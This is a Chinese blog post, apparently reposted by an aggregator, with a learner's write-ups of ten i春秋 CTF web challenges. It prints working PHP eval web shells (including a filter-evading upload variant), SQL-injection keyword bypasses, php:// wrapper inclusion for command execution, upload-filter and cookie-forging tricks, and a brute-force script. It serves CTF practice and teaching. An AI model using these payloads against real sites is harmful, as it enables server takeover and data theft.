0

i春秋-Web(一)

 1 year ago
source link: http://qwzf.top/2019/09/02/i%E6%98%A5%E7%A7%8B-Web(%E4%B8%80)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

做了几道i春秋的Web题,所以总结一下。

Web1:爆破-1

在这里插入图片描述
在这里插入图片描述

题目提示:某六位变量。查看题目,发现是代码审计

在这里插入图片描述
在这里插入图片描述
<?php
include "flag.php";
$a = @$_REQUEST['hello'];//以get或post传入hello,并赋值给`$a`
if(!preg_match('/^\w*$/',$a )){//正则表达式^匹配一行的开头,$表示结束。\w表示匹配包括下划线的任何单词字符,等价于'[A-Za-z0-9_]'。*号:匹配前面的子表达式零次或多次。
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);//__FILE__当前运行文件的完整路径和文件名。
?>
php复制代码

1、如果匹配正则表达式/^\w$/,就打印变量 $$a
2、$a是hello,$$a是六位变量$hello
接下来不会了,所以百度一下
发现超全局变量$GLOBALS
*
作用**:
引用全局作用域中可用的全部变量。这样就会打印出当前定义的所有变量,也包括 include 的文件中的变量,flag 也存在在这些变量中。
3、所以在URL后加?hello=GLOBALS,将参数hello修改为Globals
实际执行语句:

eval("var_dump($$a);")
eval("var_dump($hello);")
eval("var_dump($GLOBALS);")
php复制代码

最终得到flag

在这里插入图片描述
在这里插入图片描述

Web2:爆破-2

在这里插入图片描述
在这里插入图片描述

题目提示:flag不在变量中

在这里插入图片描述
在这里插入图片描述

审计代码,很明显是代码执行。一句话+菜刀(或蚁剑)拿到flag
pyload

http://bd5c2e087fb744a4abb30339f0c088bfba3400c37b8245fe.changame.ichunqiu.com/?hello=${@eval($_POST[1])}
php复制代码
在这里插入图片描述
在这里插入图片描述

同时发现我这道题有多种解法,可以参考大佬博客:【i春秋】 Web —— 爆破-2

Web3:爆破-3

在这里插入图片描述
在这里插入图片描述

题目提示:这个真是爆破

在这里插入图片描述
在这里插入图片描述

审计代码:
1、Session中的num初始值为0,time为当前时间,whoami初始值为ea。
2、120秒之后会话结束。然后str_rands随机生成2个字母。
3、whoami需要等于传递的value值的前两位,并且value的md5值的第5为开始,长度为4的字符串==0,这样num++。
4、whoami=str_rands,循环10次后,输出flag。

所以只要第一次传进去的value与session中的相等,则网页会输出下一个value值,通过使用md5函数不能对数组进行处理的漏洞来绕过substr(md5($value),5,4)==0的判断,使nums得值大于10即可得到flag。
但不会写脚本,所以借鉴了一下大佬的脚本:

import requests

url = "http://18db51d66abf489ca48f1c310b898ab8e4ba00cd266e4219.changame.ichunqiu.com/?value[]=ea"
al = ['abcdefghijklmnopqrstuvwxyz']
s = requests.session()
r=s.get(url)

for i in range(20):
    url = "http://18db51d66abf489ca48f1c310b898ab8e4ba00cd266e4219.changame.ichunqiu.com/?value[]=" + r.content[0:2]
    r=s.get(url)
    print r.content
python复制代码
在这里插入图片描述
在这里插入图片描述

Web4:Upload

在这里插入图片描述
在这里插入图片描述

根据题目提示,这道题是文件上传漏洞。上传一句话

在这里插入图片描述
在这里插入图片描述

查看,发现过滤了<?php

在这里插入图片描述
在这里插入图片描述

查询百度发现一句话也可以这样写:
各种一句话木马大全
找到一个。因为会过滤php,所以php写成pHp进行绕过。

<script language="pHp">@eval($_POST['b'])</script>
php复制代码

所以重新写下,然后上传。蚁剑(菜刀)一连成功

在这里插入图片描述
在这里插入图片描述

然后就可以在后台找到flag了。

Web5:SQL

在这里插入图片描述
在这里插入图片描述

题目提示:SQL注入
flag在数据库。感觉可以联合查询注入。所以先判断整型还是字符型,是整型。查询列数,发现

在这里插入图片描述
在这里插入图片描述

额。。不知道什么原因,感觉像是被过滤了什么。绕过,emmmm。。。没有绕过成功。查看大佬博客发现通过<>进行绕过
大佬博客:一次简单的ctf SQL注入绕过
试过后,发现只有ord<>er这种形式才能绕过。

在这里插入图片描述
在这里插入图片描述

判断显示位,“2”处是显示位。

在这里插入图片描述
在这里插入图片描述

接下来当然是爆库、爆表、爆字段、爆数据了。注意select和and的绕过就行了(sel<>ect an<>d)。最终得到flag

在这里插入图片描述
在这里插入图片描述

Web6:include

在这里插入图片描述
在这里插入图片描述

题目提示:文件包含漏洞

在这里插入图片描述
在这里插入图片描述

因为PHP版本5.6.29,且allow_url_include为On、allow_url_fopen为Off。

在这里插入图片描述
在这里插入图片描述

所以可以使用php伪协议读取POST数据,POST数据可以是命令执行代码,用ls查看当前目录。

在这里插入图片描述
在这里插入图片描述

得到dle345aae.php,再用php://filter伪协议对文件进行读取,Base64转换一下,即可得到flag

在这里插入图片描述
在这里插入图片描述

Web7:who are you?

在这里插入图片描述
在这里插入图片描述

题目提示:who are you?(你是谁?)。一般情况下是admin

在这里插入图片描述
在这里插入图片描述

抓包,发现一串像Base64的字符

在这里插入图片描述
在这里插入图片描述

Base64解密结果是:f:5:"thrfg";
把thrfg换成admin,Base64加密,加密结果替换role值。发包没有得到flag。
尝试无果,偷瞄一下大佬博客,rot13加密(凯撒密码码位移13)。。。解密结果:guest。
脑洞挺大。不过也貌似比较好想到,admin(管理员账户),想到guest(来宾账户)。
所以admin,rot13加密、Base64加密。加密结果替换role值,发包得到

在这里插入图片描述
在这里插入图片描述

提示文件上传,查看源码

在这里插入图片描述
在这里插入图片描述

很明显应该一个是文件名,一个是数据
先构造一下变量:filename=1.php&data=<?phpinfo();?>
得到NO NO NO

在这里插入图片描述
在这里插入图片描述

应该是有正则匹配。不会绕,再次偷瞄大佬博客:
利用数组绕过问题小总结
php的函数一般都无法执行数组的,用数组来当参数,一般都能绕过。所以可以data[],即filename=1.php&data[]=<?phpinfo();?>。得到flag文件名

在这里插入图片描述
在这里插入图片描述

访问,得到flag

Web8:broken

题目只提示了broken

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

看到文件内容,很明显想到之前做过,是jsfuck编码。直接解,没解出来。因为题目已经提示文件损坏,所以了解一下jsfuck编码进行修复。
JSfuck原理解析一
JSFuck
所以第一个[后应该加个],jafuck解密弹出

在这里插入图片描述
在这里插入图片描述

emmm,flag没在这?!应该还有要修的的地方。。不会了。。
又一次偷瞄大佬博客:

在这里插入图片描述
在这里插入图片描述

emmm,看了它一眼,然后没复现成功。

Web9:Do you know upload?

在这里插入图片描述
在这里插入图片描述

Do you know upload?(你知道文件上传吗?),我知道文件上传。进入题目查看源码

在这里插入图片描述
在这里插入图片描述

很明显可以用php伪协议(php://filter)读取源码

在这里插入图片描述
在这里插入图片描述

Base64解密,得到源码如下:

<html>
<head><meta charset="utf-8" />
<title>Upload</title>
</head>

<body>
<h1>图片上传</h1>

<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="hidden" name="dir" value="/uploads/" />
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>
<!-- 
include($_GET['file']); 
-->
<?php
include($_GET['file']); 
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);

if(@isset($_POST[submit])){
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))){

        if ($_FILES["file"]["error"] > 0){
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }else{
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
            if (file_exists("upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " already exists. ";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $_FILES["file"]["name"]);
                echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }else{
        echo "<script>alert('文件类型不允许')</script>";
        echo "Invalid file";
    }
}else{
    // echo "Invalid file";
}
?>
</body>
</html>
php复制代码

代码审计一下:
黑名单,文件类型只能是image/gif、image/jpeg、image/pjpeg。
所以,先将php一句话,文件后缀改为.jpg
上传、抓包,将.jpg改为.php。上传成功

在这里插入图片描述
在这里插入图片描述

蚁剑(菜刀)一连,连接成功

在这里插入图片描述
在这里插入图片描述

没有发现flag,发现了config.php。打开,里面有数据库用户名、密码、数据库名。蚁剑连接数据库,得到flag

在这里插入图片描述
在这里插入图片描述

Web10:Login

打开题目查看源码,在最下方发现

在这里插入图片描述
在这里插入图片描述

应该就是用户名和密码,登录

在这里插入图片描述
在这里插入图片描述

只有这个。。。源码也没有有用信息
抓包,发包

在这里插入图片描述
在这里插入图片描述

响应头里发现特殊的东西show,且值为0。一般0表示假,1为真。
所以在请求头里将show的值写为1,发包

在这里插入图片描述
在这里插入图片描述

得到源码

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }
?> 
php复制代码

审计代码,发现
只要$login = unserialize(gzuncompress(base64_decode(requset[′token′])))之后,requset[′token′])))之后,login[‘user’] === 'ichunqiu’即可。

在这里插入图片描述
在这里插入图片描述

然后写到cookie中的token中就行了,这个时候也必须有show: 1,发包得到flag。

在这里插入图片描述
在这里插入图片描述

就先总结这么多。。。。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK